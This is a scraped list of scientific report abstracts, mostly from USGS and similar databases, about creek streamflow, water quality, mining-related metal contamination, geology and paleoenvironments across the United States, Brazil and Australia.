Streamflow and Water-Quality Characteristics for Wind Cave National Park, South Dakota, 2002-03

USGS Publications Warehouse

Heakin, Allen J.

2004-01-01

A 2-year study of streamflow and water-quality characteristics in Wind Cave National Park was performed by the U.S. Geological Survey in cooperation with the National Park Service. During this study, streamflow and water-quality data were collected for three of the park's perennial streams (Cold Spring, Beaver, and Highland Creeks) from January 2002 through November 2003. The potential influence of parking lot runoff on cave drip within Wind Cave also was investigated by collecting and analyzing several time-dependent samples from a drainage culvert downstream from the parking lot and from Upper Minnehaha Falls inside the cave following a series of simulated runoff events. The primary focus of the report is on data collected during the 2-year study from January 2002 to November 2003; however, data collected previously also are summarized. Losing reaches occur on both Beaver and Highland Creeks as these streams flow across outcrops of bedrock aquifers within the park. No streamflow losses occur along Cold Spring Creek because its confluence with Beaver Creek is located upstream from the outcrop of the Madison aquifer, where most streamflow losses occur. Physical properties, major ions, trace elements, nutrients, bacteria, benthic macroinvertebrates, organic (wastewater) compounds, bottom sediment, and suspended sediment are summarized for samples collected from 2 sites on Cold Spring Creek, 2 sites on Beaver Creek, and 1 site on Highland Creek. None of the constituent concentrations for any of the samples collected during 2002-03 exceeded any of the U.S. Environmental Protection Agency drinking-water standards, with the exception of the Secondary Maximum Contaminant Level for pH, which was exceeded in numerous samples from Beaver Creek and Highland Creek. Additionally, the pH values in several of these same samples also exceeded beneficial-use criteria for coldwater permanent fisheries and coldwater marginal fisheries. Water temperature exceeded the coldwater permanent fisheries criterion in numerous samples from all three streams. Two samples from Highland Creek also exceeded the coldwater marginal fisheries criterion for water temperature. Mean concentrations of ammonia, orthophosphate, and phosphorous were higher for the upstream site on Beaver Creek than for other water-quality sampling sites. Concentrations of E. coli, fecal coliform, and total coliform bacteria also were higher at the upstream site on Beaver Creek than for any other site. Samples for the analysis of benthic macroinvertebrates were collected from one site on each of the three streams during July 2002 and May 2003. The benthic macroinvertebrate data showed that Beaver Creek had lower species diversity and a higher percentage of tolerant species than the other two streams during 2002, but just the opposite was found during 2003. However, examination of the complete data set indicates that the quality of water at the upstream site was generally poorer than the quality of water at the downstream site. Furthermore, the quality of water at the upstream site on Beaver Creek is somewhat degraded when compared to the quality of water from Highland and Cold Spring Creeks, indicating that anthropogenic activities outside the park probably are affecting the quality of water in Beaver Creek. Samples for the analysis of wastewater compounds were collected at least twice from four of the five water-quality sampling sites. Bromoform, phenol, caffeine, and cholesterol were detected in samples from Cold Spring Creek, but only phenol was detected at concentrations greater than the minimum reporting level. Concentrations of several wastewater compounds were estimated in samples collected from sites on Beaver Creek, including phenol, para-cresol, and para-nonylphenol-total. Phenol was detected at both sites on Beaver Creek at concentrations greater than the minimum reporting level. Bromoform; para-cresol; ethanol,2-butoxy-phosphate; and cholesterol were detected

Integrated Status and Effectiveness Monitoring Program; Expansion of Existing Smolt Trapping Program in Nason Creek, 2005 Annual Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Prevatte, Scott A.

2006-03-01

In the fall of 2004, as one part of a Basin-Wide Monitoring Program developed by the Upper Columbia Regional Technical Team and Upper Columbia Salmon Recovery Board, the Yakama Nation Fisheries Resource Management program began monitoring downstream migration of ESA listed Upper Columbia River spring chinook salmon and Upper Columbia River steelhead in Nason Creek, a tributary to the Wenatchee River. This report summarizes juvenile spring chinook salmon and steelhead trout migration data collected in Nason Creek during 2005 and also incorporates data from 2004. We used species enumeration at the trap and efficiency trials to describe emigration timing andmore » to estimate population size. Data collection was divided into spring/early summer and fall periods with a break during the summer months occurring due to low stream flow. Trapping began on March 1st and was suspended on July 29th when stream flow dropped below the minimum (30 cfs) required to rotate the trap cone. The fall period began on September 28th with increased stream flow and ended on November 23rd when snow and ice began to accumulate on the trap. During the spring and early summer we collected 311 yearling (2003 brood) spring chinook salmon, 86 wild steelhead smolts and 453 steelhead parr. Spring chinook (2004 brood) outgrew the fry stage of fork length < 60 mm during June and July, 224 were collected at the trap. Mark-recapture trap efficiency trials were performed over a range of stream discharge stages whenever ample numbers of fish were being collected. A total of 247 spring chinook yearlings, 54 steelhead smolts, and 178 steelhead parr were used during efficiency trials. A statically significant relationship between stream discharge and trap efficiency has not been identified in Nason Creek, therefore a pooled trap efficiency was used to estimate the population size of both spring chinook (14.98%) and steelhead smolts (12.96%). We estimate that 2,076 ({+-} 119 95%CI) yearling spring chinook and 688 ({+-} 140 95%CI) steelhead smolts emigrated past the trap during the spring/early summer sample period along with 10,721 ({+-} 1,220 95%CI) steelhead parr. During the fall we collected 924 subyearling (2004 brood) spring chinook salmon and 1,008 steelhead parr of various size and age classes. A total of 732 spring chinook subyearlings and 602 steelhead parr were used during 13 mark-recapture trap efficiency trials. A pooled trap efficiency of 24.59% was used to calculate the emigration of spring chinook and 17.11% was used for steelhead parr during the period from September 28th through November 23rd. We estimate that 3758 ({+-} 92 95%CI) subyearling spring chinook and 5,666 ({+-} 414 95%CI) steelhead parr migrated downstream past the trap along with 516 ({+-} 42 95%CI) larger steelhead pre-smolts during the 2005 fall sample period.« less

Sentinel Hill Core Test 1: Facies Descriptions and Stratigraphic Reinterpretations of the Prince Creek and Schrader Bluff Formations, North Slope, Alaska

USGS Publications Warehouse

Flores, Romeo M.; Stricker, Gary D.; Decker, Paul L.; Myers, Mark D.

2007-01-01

The Sentinel Hill Core Test 1 well penetrated an intertonguing sequence of (1) the marine Schrader Bluff Formation in the depth intervals 950?1,180 ft and 690?751 ft, which consists of shoreface and offshore deposits that accumulated along a storm-dominated, barred shoreline; and (2) the nonmarine Prince Creek Formation in the depth intervals 751?950 ft and surface to 690 ft, which consists of fluvial channel, crevasse splay, backswamp, and ash fall deposits. The strata range in age from early Campanian to early Maastrichtian. An erosional contact at a depth of 690 ft at the base of the upper unit of the Prince Creek Formation is interpreted as a major regional sequence boundary, and the overlying conglomeratic fluvial channel deposits are interpreted to have accumulated in a paleovalley. In its more proximal reaches along the Colville River, channels of this paleovalley cut down 75 ft into the lowermost Prince Creek Formation and the uppermost Schrader Bluff Formation. Farther offshore, the equivalent surface to the aforementioned paleovalley appears to be a subtle discontinuity between middle and lower Schrader Bluff Formation shelfal marine strata. Still farther offshore, the equivalent paleovalley surface is interpreted as a marine mass-wasting surface that locally cuts through the lowermost Schrader Bluff Formation and into the underlying Seabee Formation.

Streamflow in the upper Santa Cruz River basin, Santa Cruz and Pima Counties, Arizona

USGS Publications Warehouse

Condes de la Torre, Alberto

1970-01-01

Streamflow records obtained in the upper Santa Cruz River basin of southern Arizona, United States, and northern Sonora, Mexico, have been analyzed to aid in the appraisal of the surface-water resources of the area. Records are available for 15 sites, and the length of record ranges from 60 years for the gaging station on the Santa .Cruz River at Tucson to 6 years for Pantano Wash near Vail. The analysis provides information on flow duration, low-flow frequency magnitude, flood-volume frequency and magnitude, and storage requirements to maintain selected draft rates. Flood-peak information collected from the gaging stations has been projected on a regional basis from which estimates of flood magnitude and frequency may be made for any site in the basin. Most streams in the 3,503-square-mile basin are ephemeral. Ground water sustains low flows only at Santa Cruz River near Nogales, Sonoita Creek near Patagonia, and Pantano Wash near Vail. Elsewhere, flow occurs only in direct response to precipitation. The median number of days per year in which there is no flow ranges from 4 at Sonoita Creek near Patagonia to 335 at Rillito Creek near Tomson. The streamflow is extremely variable from year to year, and annual flows have a coefficient of variation close to or exceeding unity at most stations. Although the amount of flow in the basin is small most of the time, the area is subject to floods. Most floods result from high-intensity precipitation caused by thunderstorms during the period ,July to September. Occasionally, when snowfall at the lower altitudes is followed by rain, winter floods produce large volumes of flow.

Archaeal diversity and the extent of iron and manganese pyritization in sediments from a tropical mangrove creek (Cardoso Island, Brazil)

NASA Astrophysics Data System (ADS)

Otero, X. L.; Lucheta, A. R.; Ferreira, T. O.; Huerta-Díaz, M. A.; Lambais, M. R.

2014-06-01

Even though several studies on the geochemical processes occurring in mangrove soils and sediments have been performed, information on the diversity of Archaea and their functional roles in these ecosystems, especially in subsurface environments, is scarce. In this study, we have analyzed the depth distribution of Archaea and their possible relationships with the geochemical transformations of Fe and Mn in a sediment core from a tropical mangrove creek, using 16S rRNA gene profiling and sequential extraction of different forms of Fe and Mn. A significant shift in the archaeal community structure was observed in the lower layers (90-100 cm), coinciding with a clear decrease in total organic carbon (TOC) content and an increase in the percentage of sand. The comparison of the archaeal communities showed a dominance of methanogenic Euryarchaeota in the upper layers (0-20 cm), whereas Crenarchaeota was the most abundant taxon in the lower layers. The dominance of methanogenic Euryarchaeota in the upper layer of the sediment suggests the occurrence of methanogenesis in anoxic microenvironments. The concentrations of Fe-oxyhydroxides in the profile were very low, and showed positive correlation with the concentrations of pyrite and degrees of Fe and Mn pyritization. Additionally, a partial decoupling of pyrite formation from organic matter concentration was observed, suggesting excessive Fe pyritization. This overpyritization of Fe can be explained either by the anoxic oxidation of methane by sulfate and/or by detrital pyrite tidal transportation from the surrounding mangrove soils. The higher pyritization levels observed in deeper layers of the creek sediment were also in agreement with its Pleistocenic origin.

Occurrence and variability of mining-related lead and zinc in the Spring River flood plain and tributary flood plains, Cherokee County, Kansas, 2009--11

USGS Publications Warehouse

Juracek, Kyle E.

2013-01-01

Historical mining activity in the Tri-State Mining District (TSMD), located in parts of southeast Kansas, southwest Missouri, and northeast Oklahoma, has resulted in a substantial ongoing input of cadmium, lead, and zinc to the environment. To provide some of the information needed to support remediation efforts in the Cherokee County, Kansas, superfund site, a 4-year study was begun in 2009 by the U.S. Geological Survey that was requested and funded by the U.S. Environmental Protection Agency. A combination of surficial-soil sampling and coring was used to investigate the occurrence and variability of mining-related lead and zinc in the flood plains of the Spring River and several tributaries within the superfund site. Lead- and zinc-contaminated flood plains are a concern, in part, because they represent a long-term source of contamination to the fluvial environment. Lead and zinc contamination was assessed with reference to probable-effect concentrations (PECs), which represent the concentrations above which adverse aquatic biological effects are likely to occur. The general PECs for lead and zinc were 128 and 459 milligrams per kilogram, respectively. The TSMD-specific PECs for lead and zinc were 150 and 2,083 milligrams per kilogram, respectively. Typically, surficial soils in the Spring River flood plain had lead and zinc concentrations that were less than the general PECs. Lead and zinc concentrations in the surficial-soil samples were variable with distance downstream and with distance from the Spring River channel, and the largest lead and zinc concentrations usually were located near the channel. Lead and zinc concentrations larger than the general or TSMD-specific PECs, or both, were infrequent at depth in the Spring River flood plain. When present, such contamination typically was confined to the upper 2 feet of the core and frequently was confined to the upper 6 inches. Tributaries with few or no lead- and zinc-mined areas in the basin—Brush Creek, Cow Creek, and Shawnee Creek—generally had flood-plain lead and zinc concentrations (surficial soil, 6- and 12-inch depth) that were substantially less than the general PECs. Tributaries with extensive lead- and zinc-mined areas in the basin—Shoal Creek, Short Creek, Spring Branch, Tar Creek, Turkey Creek, and Willow Creek—had flood-plain lead concentrations (surficial soil, 6- and 12-inch depth) that frequently or typically exceeded the general and TSMD-specific PECs. Likewise, the tributaries with extensive lead- and zinc-mined areas in the basin had flood-plain zinc concentrations (surficial soil, 6- and 12-inch depth) that frequently or typically exceeded the general PEC. With the exception of Shoal and Willow Creeks, zinc concentrations typically exceeded the TSMD-specific PEC. The largest flood-plain lead and zinc concentrations (surficial soil, 6- and 12-inch depth) were measured for Short and Tar Creeks. Lead and zinc concentrations in the surficial-soil samples collected from the tributary flood plains varied longitudinally in relation to sources of mining-contaminated sediment in the basins. Lead and zinc concentrations also varied with distance from the channel; however, no consistent spatial trend was evident. For the surficial-soil samples collected from the Spring River flood plain and tributary flood plains, both the coarse (larger than 63 micrometers) and fine particles (less than 63 micrometers) contained substantial lead and zinc concentrations.

92. VIEW OF PRECIPITATION AREA FROM SOUTHWEST. VACUUM CLARIFIER TANK ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

92. VIEW OF PRECIPITATION AREA FROM SOUTHWEST. VACUUM CLARIFIER TANK No. 1 AT LOWER LEFT, UNDER LAUNDER FEED TO GOLD TANK No. 2, AND VACUUM CLARIFIER TANK No. 2, AT MIDRIGHT. VACUUM RECEIVER TANK ON UPPER LEFT. PIPE TO TOP CENTER OF TANK TAKES OUTFLOW FROM CLARIFIER LEAVES. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

Hydrogeologic framework, hydrology, and water quality in the Pearce Creek Dredge Material Containment Area and vicinity, Cecil County, Maryland, 2010-11

USGS Publications Warehouse

Dieter, Cheryl A.; Koterba, Michael T.; Zapecza, Otto S.; Walker, Charles W.; Rice, Donald E.

2013-01-01

In 2009, to support an evaluation of the feasibility of reopening the Pearce Creek Dredge Material Containment Area (DMCA) in Cecil County, Maryland, for dredge-spoil disposal, the U.S. Geological Survey (USGS) began to implement a comprehensive study designed to improve the understanding of the hydrogeologic framework, hydrology, and water quality of shallow aquifers underlying the DMCA and adjacent communities, to determine whether or not the DMCA affected groundwater quality, and to assess whether or not groundwater samples contained chemical constituents at levels greater than maximum allowable or recommended levels established by the U.S. Environmental Protection Agency Safe Drinking Water Act. The study, conducted in 2010-11 by USGS in cooperation with the U.S. Army Corps of Engineers, included installation of observation wells in areas where data gaps led earlier studies to be inconclusive. The data from new wells and existing monitoring locations were interpreted and show the DMCA influences the groundwater flow and quality. Groundwater flow in the two primary aquifers used for local supplies-the Magothy aquifer and upper Patapsco aquifer (shallow water-bearing zone)-is radially outward from the DMCA toward discharge areas, including West View Shores, the Elk River, and Pearce Creek Lake. In addition to horizontal flow outward from the DMCA, vertical gradients primarily are downward in most of the study area, and upward near the Elk River on the north side of the DMCA property, and the western part of West View Shores. Integrating groundwater geochemistry data in the analysis, the influence of the DMCA is not only a source of elevated concentrations of dissolved solids but also a geochemical driver of redox processes that enhances the mobilization and transport of redox-sensitive metals and nutrients. Groundwater affected by the DMCA is in the Magothy aquifer and upper Patapsco aquifer (shallow water-bearing zone). Based on minimal data, the water quality in the upper Patapsco aquifer deep water-bearing zone does not seem to have been impacted by the DMCA.

Late Cretaceous marine arthropods relied on terrestrial organic matter as a food source: Geochemical evidence from the Coon Creek Lagerstätte in the Mississippi Embayment.

PubMed

Vrazo, M B; Diefendorf, A F; Crowley, B E; Czaja, A D

2018-03-01

The Upper Cretaceous Coon Creek Lagerstätte of Tennessee, USA, is known for its extremely well-preserved mollusks and decapod crustaceans. However, the depositional environment of this unit, particularly its distance to the shoreline, has long been equivocal. To better constrain the coastal proximity of the Coon Creek Formation, we carried out a multiproxy geochemical analysis of fossil decapod (crab, mud shrimp) cuticle and associated sediment from the type section. Elemental analysis and Raman spectroscopy confirmed the presence of kerogenized carbon in the crabs and mud shrimp; carbon isotope (δ 13 C) analysis of bulk decapod cuticle yielded similar mean δ 13 C values for both taxa (-25.1‰ and -26‰, respectively). Sedimentary biomarkers were composed of n-alkanes from C 16 to C 36 , with the short-chain n-alkanes dominating, as well as other biomarkers (pristane, phytane, hopanes). Raman spectra and biomarker thermal maturity indices suggest that the Coon Creek Formation sediments are immature, which supports retention of unaltered, biogenic isotopic signals in the fossil organic carbon remains. Using our isotopic results and published calcium carbonate δ 13 C values, we modeled carbon isotope values of carbon sources in the Coon Creek Formation, including potential marine (phytoplankton) and terrestrial (plant) dietary sources. Coon Creek Formation decapod δ 13 C values fall closer to those estimated for terrigenous plants than marine phytoplankton, indicating that these organisms were feeding primarily on terrigenous organic matter. From this model, we infer that the Coon Creek Formation experienced significant terrigenous organic matter input via a freshwater source and thus was deposited in a shallow, nearshore marine environment proximal to the shoreline. This study helps refine the paleoecology of nearshore settings in the Mississippi Embayment during the global climatic shift in the late Campanian-early Maastrichtian and demonstrates for the first time that organic δ 13 C signatures in exceptionally preserved fossil marine arthropods are a viable proxy for use in paleoenvironmental reconstructions. © 2018 John Wiley & Sons Ltd.

Preliminary report on mercury geochemistry of placer gold dredge tailings, sediments, bedrock, and waters in the Clear Creek restoration area, Shasta County, California

USGS Publications Warehouse

Ashley, Roger P.; Rytuba, James J.; Rogers, Ronald; Kotlyar, Boris B.; Lawler, David

2002-01-01

Clear Creek, one of the major tributaries of the upper Sacramento River, drains the eastern Trinity Mountains. Alluvial plain and terrace gravels of lower Clear Creek, at the northwest edge of the Sacramento Valley, contain placer gold that has been mined since the Gold Rush by various methods including dredging. In addition, from the 1950s to the 1980s aggregate-mining operations removed gravel from the lower Clear Creek flood plain. Since Clear Creek is an important stream for salmon production, a habitat restoration program is underway to repair damage from mining and improve conditions for spawning. This program includes using dredge tailings to fill in gravel pits in the flood plain, raising the concern that mercury lost to these tailings in the gold recovery process may be released and become available to biota. The purposes of our study are to determine concentrations and speciation of mercury in sediments, tailings, and water in the lower Clear Creek area, and to determine its mobility. Mercury concentrations in bedrock and unmined gravels both within and above the mined area are low, and are taken to represent background concentrations. Bulk mercury values in flood-plain sediments and dry tailings are elevated to several times these background concentrations. Mercury in sediments and tailings is associated with fine size fractions. Although methylmercury levels are generally low in sediments, shallow ponds in the flood plain may have above-normal methylation potential. Stream waters in the area show low mercury and methylmercury levels. Ponds with elevated methylmercury in sediments have more methylmercury in their waters as well. One seep in the area is highly saline, and enriched in mercury, lithium, and boron, similar to connate waters that are expelled along thrust faults to the south on the west side of the Sacramento Valley. This occurrence suggests that mercury in waters may at least in part be from sources other than placer mining.

The Onset of a Novel Environmental Offset: A case study for diverse pollutant scheme in Australia.

NASA Astrophysics Data System (ADS)

Sengupta, A.; Arora, M.; Delbridge, N.; Pettigrove, V.; Feldman, D.

2014-12-01

Environmental offset schemes employ a crediting system to mitigate the impacts of pollutants. In this talk, we present a novel trade-off concept comparing diverse groups of pollutants: environmental flows, micropollutants (heavy metals, pesticides, estrogen compounds) and nutrients in a test watershed (Jacksons Creek), in the vicinity of Melbourne. A reservoir in the upper watershed, and a wastewater treatment plant (WTP) are the main sources of flow into Jacksons Creek. The current land use is a mix of agriculture, and rural, though rapid urbanization is anticipated with a 40% increase in the population by 2040. The creek is impacted by: 1) low flow, especially during dry periods (contribution from the reservoir drops dramatically), 2) nutrient enrichment (WTP and agricultural runoff), and 3) micropollutants-heavy metals (urban runoff), estrogenic compounds (WTP), and pesticides (agricultural runoff). In this offset framework, we evaluated current and future scenarios to identify the main stressor in Jacksons Creek. We collected monitoring data at 15 sites for separate 3 events. Then we developed a watershed model to assess sources of pollutant loads to the creek, using two different tools, Model for Urban Stormwater Improvement Conceptualisation (MUSIC) for the preliminary flow and water quality modeling, and eWater Source for integrated water resource management (IWRM), and a decision support system for stakeholders. Scenario analysis includes urbanization and population growth, and anticipated discharges from WTP and the reservoir. Measured nutrient concentrations were high for all sampling events. Micropollutants were detected at a concentration higher than the trigger value at several locations. Preliminary analysis shows that low flow is one of the major stressors in the creek causing elevated micropollutant and nutrient concentrations (non-point), and that discharge from the WTP is essential to maintain the minimum environmental flows, though nutrient enrichment downstream could occur. This study demonstrates an innovative case for evaluating net environmental benefits, and might hold important lessons for the design of offset schemes in comparable environments elsewhere.

Geology of the Knife River area, North Dakota

USGS Publications Warehouse

Benson, William Edward

1953-01-01

The Knife River area, consisting of six 15-minute quadrangles, includes the lower half of the Knife River valley in west-central North Dakota. The area, in the center of the Williston Basin, is underlain by the Tongue River member of the Fort Union formation (Paleocene) and the Golden Valley formation (Eocene). The Tongue River includes beds equivalent to the Sentinel Butte shale; the Golden Valley formation, which receives its first detailed description in this report, consists of two members, a lower member of gray to white sandy kaolin clay and an upper member of cross-bedded micaceous sandstone. Pro-Tongue River rocks that crop out in southwestern North Dakota include the Ludlow member of the Fort Union formation, the Cannonball marine formation (Paleocene) and the Hell Creek, Fox Hills, and Pierre formations, all upper Cretaceous. Post-Golden Valley rocks include the White River formation (Oligocene) and gravels on an old planation surface that may be Miocene or Pliocent. Surficial deposits include glacial and fluvial deposits of Pleistocene age and alluvium, dune sand, residual silica, and landslide blocks of Recent age. Three ages of glacial deposits can be differentiated, largely on the basis of three fills, separated by unconformities, in the Knife River valley. All three are of Wisconsin age and probably represent the Iowan, Tazewell, and Mankato substages. Deposits of the Cary substage have not been identified either in the Knife River area or elsewhere in southern North Dakota. Iowan glacial deposits form the outermost drift border in North Dakota. Southwest of this border are a few scattered granite boulders that are residual from the erosion of either the White River formation or a pre-Wisconsin till. The Tazewell drift border cannot be followed in southern North Dakota. The Mankato drift border can be traced in a general way from the South Dakota State line northwest across the Missouri River and through the middle of the Knife River area. The major land forms of southwestern North Dakota are: (1) high buttes that stand above (2) a gravel-capped planation surface and (3) a gently-rolling upland; below the upland surface are (4) remnants of a broad valley stage of erosion into which (5) modern valleys have been cut. The broad valley profiles of many streams continue east across the Missouri River trench and are part of a former drainage system that flowed into Hudson Bay. Crossing the divides are (6) large trenches, formed when the former northeast-flowing streams were dammed by the glacier and diverted to the southeast. The largest diversion valley is occupied by the Missouri River; another diversion system, now largely abandoned, extends from the Killdeer Mountains southwest to the mouth of Porcupine Creek in Sioux County. By analogy with South Dakota, most of the large diversion valleys are thought to have been cut in Illinoian time. Numerous diversion valleys of Illinoian to late Wisconsin age cut across the divides. Other Pleistocene land forms include ground and moraines, kames, and terraces. Land forms of Recent age include dunes, alluvial terraces, floodplains, and several types of landslide blocks. One type of landslide, called rockslide slump, has not previously been described. Drainage is well adjusted to the structure, most of the streams flowing down the axes of small synclines. The bedrock formations have been gently folded into small domes and synclines that interrupt a gentle northward regional dip into the Williston Basin. Three episodes of deformation affected southwestern North Dakota in Tertiary time: (1) intra-Paleocene, involving warping and minor faulting; (2) post-Eocene, involving uplift and tilting; (2) Oligocene, involving uplift and gentle folding. Mineral resources include ceramic clay, sand and gravel and lignite coal. The Knife River area is the largest lignite-producing district in the United States.

Holocene paleoenviroments of northwest Iowa

DOE Office of Scientific and Technical Information (OSTI.GOV)

Baker, R.G.; Bettis, E.A. III; Schwert, D.P.

1996-05-01

This paper presents the biotic, sedimentary, geomorphic, and climatic history of the upper part of the Roberts Creek Basin, northeastern Iowa for the late-glacial and Holocene, and compares these records with a C-O isotopic sequence from Coldwater Cave, 60 km northwest of Roberts Creek. the biotic record (pollen, vascular plant and bryophyte macrofossils, and insects) is preserved in floodplain alluvium that underlies three constructional surfaces separated by low scarps. Each surface is underlain by a lithologically and temporally distinct alluvial fill. The highest surface is underlain by the Gunder Member of the Deforest Formation, dating from 11,000 to 4000 yrmore » BP; beneath the intermediate level is the Roberts Creek Member, dating from 4000 to 400 yr BP; and the lowest level is underlain by the Camp Creek Member, deposited during the last 380 yr. Pollen and plant macrofossils in the alluvial fill show that a typical late-glacial spruce forest was replaced by Quercus and Ulmus in the early Holocene. This early-to-middle Holocene forest became dominated by medic elements such as Acer saccharum, Tila americana, Ostyra virginiana, and Carpinus caroliniana as late as 5500 yr BP; in contrast, the closest sites to the west and north were at their warmest and driest were covered by prairie vegetation between 6500 and 5500 yr BP. After 5500 yr BP, the forest in the roberts Creek area was replaced by prairie, as indicated by a rich assemblage of plant macrofossils, although only Ambrosia and Poaceae became abundant in the pollen record. The return of Quercus {approx} 3000 BP (while nonarboreal pollen percentages remained relatively high) indicates the oak savanna prevailed with little change until settlement time. 83 refs., 17 figs., 5 tabs.« less

Identifying sources and processes controlling the sulphur cycle in the Canyon Creek watershed, Alberta, Canada.

PubMed

Nightingale, Michael; Mayer, Bernhard

2012-01-01

Sources and processes affecting the sulphur cycle in the Canyon Creek watershed in Alberta (Canada) were investigated. The catchment is important for water supply and recreational activities and is also a source of oil and natural gas. Water was collected from 10 locations along an 8 km stretch of Canyon Creek including three so-called sulphur pools, followed by the chemical and isotopic analyses on water and its major dissolved species. The δ(2)H and δ(18)O values of the water plotted near the regional meteoric water line, indicating a meteoric origin of the water and no contribution from deeper formation waters. Calcium, magnesium and bicarbonate were the dominant ions in the upstream portion of the watershed, whereas sulphate was the dominant anion in the water from the three sulphur pools. The isotopic composition of sulphate (δ(34)S and δ(18)O) revealed three major sulphate sources with distinct isotopic compositions throughout the catchment: (1) a combination of sulphate from soils and sulphide oxidation in the bedrock in the upper reaches of Canyon Creek; (2) sulphide oxidation in pyrite-rich shales in the lower reaches of Canyon Creek and (3) dissolution of Devonian anhydrite constituting the major sulphate source for the three sulphur pools in the central portion of the watershed. The presence of H(2)S in the sulphur pools with δ(34)S values ∼30 ‰ lower than those of sulphate further indicated the occurrence of bacterial (dissimilatory) sulphate reduction. This case study reveals that δ(34)S values of surface water systems can vary by more than 20 ‰ over short geographic distances and that isotope analyses are an effective tool to identify sources and processes that govern the sulphur cycle in watersheds.

Analytical Results for 42 Fluvial Tailings Cores and 7 Stream Sediment Samples from High Ore Creek, Northern Jefferson County, Montana

USGS Publications Warehouse

Fey, David L.; Church, Stan E.

1998-01-01

Metal-mining related wastes in the Boulder River basin study area in northern Jefferson County, Montana have been implicated in their detrimental effects on water quality with regard to acid-generation and toxic-metal solubility. Sediments, fluvial tailings and water from High Ore Creek have been identified as significant contributors to water quality degradation of the Boulder River below Basin, Montana. A study of 42 fluvial tailings cores and 7 stream sediments from High Ore Creek was undertaken to determine the concentrations of environmentally sensitive elements (i.e. Ag, As, Cd, Cu, Pb, Zn) present in these materials, and the mineral phases containing those elements. Two sites of fluvial deposition of mine-waste contaminated sediment on upper High Ore Creek were sampled using a one-inch soil probe. Forty-two core samples were taken producing 247 subsamples. The samples were analyzed by ICP-AES (inductively coupled-plasma atomic emission spectroscopy) using a total mixed-acid digestion. Results of the core analyses show that the elements described above are present at very high concentrations (to 22,000 ppm As, to 460 ppm Ag, to 900 ppm Cd, 4,300 ppm Cu, 46,000ppm Pb, and 50,000 ppm Zn). Seven stream-sediment samples were also analyzed by ICP-AES for total element content and for leachable element content. Results show that the sediment of High Ore Creek has elevated levels of ore-related metals throughout its length, down to the confluence with the Boulder River, and that the metals are, to a significant degree, contained in the leachable phase, namely the hydrous amorphous iron- and manganese-hydroxide coatings on detrital sediment particles.

Analytical Results for 35 Mine-Waste Tailings Cores and Six Bed-Sediment Samples, and An Estimate of the Volume of Contaminated Material at Buckeye Meadow on Upper Basin Creek, Northern Jefferson County, Montana

USGS Publications Warehouse

Fey, David L.; Church, Stan E.; Finney, Christopher J.

1999-01-01

Metal-mining related wastes in the Boulder River basin study area in northern Jefferson County, Montana have been implicated in their detrimental effects on water quality with regard to acid-generation and toxic-metal solubilization. Flotation-mill tailings in the meadow below the Buckeye mine, hereafter referred to as the Buckeye mill-tailings site, have been identified as significant contributors to water quality degradation of Basin Creek, Montana. Basin Creek is one of three tributaries to the Boulder River in the study area; bed sediments and waters draining from the Buckeye mine have also been implicated. Geochemical analysis of 35 tailings cores and six bed-sediment samples was undertaken to determine the concentrations of Ag, As, Cd, Cu, Pb,and Zn present in these materials. These elements are environmentally significant, in that they can be toxic to fish and/or the invertebrate organisms that constitute their food. A suite of one-inch cores of dispersed flotation-mill tailings and underlying premining material was taken from a large, flat area north of Basin Creek near the site of the Buckeye mine. Thirty-five core samples were taken and divided into 204 subsamples. The samples were analyzed by ICP-AES (inductively coupled plasma-atomic emission spectroscopy) using a mixed-acid digestion. Results of the core analyses show that the elements listed above are present at moderate to very high concentrations (arsenic to 63,000 ppm, silver to 290 ppm, cadmium to 370 ppm, copper to 4,800 ppm, lead to 93,000 ppm, and zinc to 23,000 ppm). Volume calculations indicate that an estimated 8,400 metric tons of contaminated material are present at the site. Six bed-sediment samples were also subjected to the mixed-acid total digestion, and a warm (50°C) 2M HCl-1% H2O2 leach and analyzed by ICP-AES. Results indicate that bed sediments of Basin Creek are only slightly impacted by past mining above the Buckeye-Enterprise complex, moderately impacted at the upper (eastern) end of the tailings area, and heavily impacted at the lower (western) end of the area and downstream. The metals are mostly contained in the 2M HCl-1% H2O2 leachable phase, which are the hydrous amorphous iron- and manganese-hydroxide coatings on detrital sediment particles.

Water quality of the Upper West Branch Susquehanna River and tributary streams between Curwensville and Renovo, Pennsylvania, May and July 1984

USGS Publications Warehouse

Hainly, R.A.; Barker, J.L.

1993-01-01

The soils and rocks of the Upper West Branch Susquehanna River basin, from its headwaters downstream for 150 miles, are laden with pyritic materials that have the potential to produce acid mine drainage. The effects of mine drainage are severe, particularly in the reach between Curwensville and Renovo where present water quality cannot support viable populations of benthic macroinvertebrates or fish. During base-flow periods in May and July 1984, streamflow and water quality were measured at four sites on the West Branch Susquehanna River and near the mouths of 94 tributaries. Water-quality constituents determined were temperature, specific conductance, pH, acidity, alkalinity, and concentrations of dissolved sulfate and total and dissolved forms of iron, manganese, aluminum, and zinc. The data collected for the study indicate that the predominant influence on water quality of the tributaries is land use. An area where few or no coal deposits or disturbed area were present was found to have relatively good surface-water quality (median pH was nearly 5.5 units), whereas areas where coal mining was active in the basin, or where large areas of unreclaimed mines were present, were found to have poorest water quality (median pH was generally less than 4.0 units). In general, Moshannon, Sinnemahoning, Clearfield, and Kettle Creeks were found to be the largest tributary sources of acidity and total-recoverable iron to the river. During the May sampling, Moshannon, Sinnemahoning, and Clearfield Creeks contributed 63 percent of the 365 tons/day of acidity, and Moshannon and Clearfield Creeks contributed 76 percent of the 44.8 tons/day of total-recoverable iron that were discharged to the river. During the July sampling, Moshannon, Kettle, and Clearfield Creeks contributed 60 percent of the 131 tons/day of acidity, and Moshannon and Kettle Creeks contributed 51 percent of the 6.5 tons/day of total-recoverable iron discharged to the river . The West Branch Susquehanna River was found to have pH ranging from 5.4 to 6.5 units and specific conductance ranging from 267 to 310 microsiemens per centimeter at the most upstream site at Curwensville. The water quality was most degraded at the site at Karthaus (pH 3.9 to 4.1 units, specific conductance 330 to 610 microsiemens per centimeter). Quality gradually improved downstream to the site at Renovo (pH 3.8 to 4.6 units, specific conductance 200 to 392 microsiemens per centimeter), although the quality did not recover to that found at Curwensville.

Three studies using Ceriodaphnia to detect nonpoint sources of metals from mine drainage

USGS Publications Warehouse

Nimmo, Del Wayne R.; Dodson, Max H.; Davies, Patrick H.; Greene, Joseph C.; Kerr, Mark A.

1990-01-01

